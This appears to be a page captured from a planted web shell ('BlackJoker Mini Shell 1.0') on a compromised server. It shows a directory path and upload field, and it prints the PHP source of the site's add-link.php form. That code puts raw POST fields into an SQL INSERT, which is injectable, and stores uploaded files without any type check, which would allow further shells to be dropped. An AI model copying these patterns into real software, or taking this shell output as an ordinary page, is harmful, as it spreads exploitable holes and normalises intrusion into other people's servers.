GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/
Upload File :
Current File : /home/serb/public_html/add-link.php

<?  session_start();
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	include("lib/pager.php");
?>


<? include "includes/header_top.php";?>
<script language="javascript">
	function validate()
	{
		if(document.linkadd.webName.value=="")

		{
			alert("Enter your Website Name");
			document.linkadd.webName.focus();
			return false;
		}
		if(document.linkadd.webUrl.value=="")

		{
			alert("Enter your Website Address");
			document.linkadd.webUrl.focus();
			return false;
		}
		if(document.linkadd.emailAddress.value=="")

		{
			alert("Enter your Email Address");
			document.linkadd.emailAddress.focus();
			return false;
		}
		
		
	}
</script>




<?
if($_POST)
{
		
		
		$desp=addslashes($_POST['messCenter']);
		
		if($_FILES['ad_image']['tmp_name'])
		 {
		   $manu_imagename1=time().$_FILES['ad_image']['name'];
			move_uploaded_file($_FILES['ad_image']['tmp_name'],'linkbanners/'.$manu_imagename1);
		}
		
		$sql_insert="INSERT INTO link_list(id,cat_id,web_name,web_url,email,image1,message,status)VALUES('','".$_POST['category_type']."','".$_POST['webName']."','".$_POST['webUrl']."','".$_POST['emailAddress']."','$manu_imagename1','$desp','a')";
		execute_query($sql_insert);
		?>
        <script language="javascript">
        	
			location.href="link-category.php";
        </script>
        <?
	
}



?>
				

<body>
 <? include "includes/header.php";?>
<div class="hdr_foo">
	<div class="hrd_ftmenu">
           

    </div>
</div>
 
	<div class="main_bg">
  
 		<div style="height:32px; width:1000px;">
        	        
        </div>
        <div  style="width:1000px; margin:0 auto;">
        	<div class="menuleft_contain">
            	<? include "includes/link_leftcontent.php";?>
            </div>
             <div class="acountright_contain">
             		
             	<div class="acccmid1_header">Link Category</div>
            		<div class="accountrightct_mid">
                		 <div class="small_space"></div>
                         <div class="profile_data">
                                                
                              <form  action="<?=$_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data" name="linkadd" onSubmit="return validate();">  
                              <input name="submit_form" value="1" type="hidden">
                            		<table border="0" cellpadding="0" cellspacing="6" style="width:650px; margin:0 auto; margin-top:15px;">
                                    	 <tr>
                                    	<td class="jointext222">Website Name :</td>
                                        <td><input type="text" style="width:200px;" id="esco_name" class="main_input3333" name="webName"></td>
                                    
                                        </tr>
                                        <tr height="5"></tr>
                                         <tr>
                                    	<td class="jointext222">Website Address :</td>
                                        <td><input type="text" style="width:200px;" id="esco_name" class="main_input3333" name="webUrl"><br/><span style="color:#ad7c7c;">e.g.: http://www.example.com</span></td>
                                    
                                    </tr>
                                    <tr height="5"></tr>
                                     <tr>
                                    	<td class="jointext222">Your Email Address :</td>
                                        <td><input type="text" style="width:200px;" id="esco_name" class="main_input3333" name="emailAddress"></td>
                                    
                                        </tr>
                                        <tr height="5"></tr>
                                     <tr>
                                    	<td class="jointext222">Category :</td>
                                        <?
                                        	$sql_cate="SELECT * FROM link_catagory";
											$res_cate=execute_query($sql_cate);
											
										?>
                                        <td><select name="category_type" class="drp_img3" style="width:219px !important;">
                                            <option value="">-Select-</option>
                                           	<?
												while($row_cate=mysql_fetch_array($res_cate))
												{
													?>
													<option value="<?=$row_cate['id']?>"><?=$row_cate['name']?></option>
												<? }
											
											?>
                                           
                                         </select></td>
                                    
                                        </tr>
                                        <tr height="5"></tr>
                                     <tr>
                                    	<td class="jointext222">Site Banner :</td>
                                        <td><input type="file"  name="ad_image" style="width:230px; color:#af7a5f; background-color:#110000; height:31px; width:222px; border-radius:5px; border:1px solid #076A00;">
                                        <br/><span style="color:#ad7c7c;"> Image size should be 468 pixels width x 60 pixels height.</span></td>
                                    
                                        </tr>
                                        <tr height="5"></tr>
                                     <tr>
                                    	<td class="jointext222">Message :</td>
                                        <td><textarea name="messCenter" style="width:222px; height:150px;" class="main_input3333"></textarea> </td>
                                        
                                        </tr>
                                        <tr height="5"></tr>
                                         <tr>
                                    	<td class="jointext222"></td>
                                        <td><input type="image" src="images/submit.png" style="padding-left:15px;" /> </td>
                                        
                                        </tr>
                                        
                                    </table>
                              </form>
                            </div>
                         <br class="spacer" />
                         </div> 
                                            
                     	
              </div>
            	
            <br class="spacer" />
            
        </div>
     <br/>
 </div>


<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0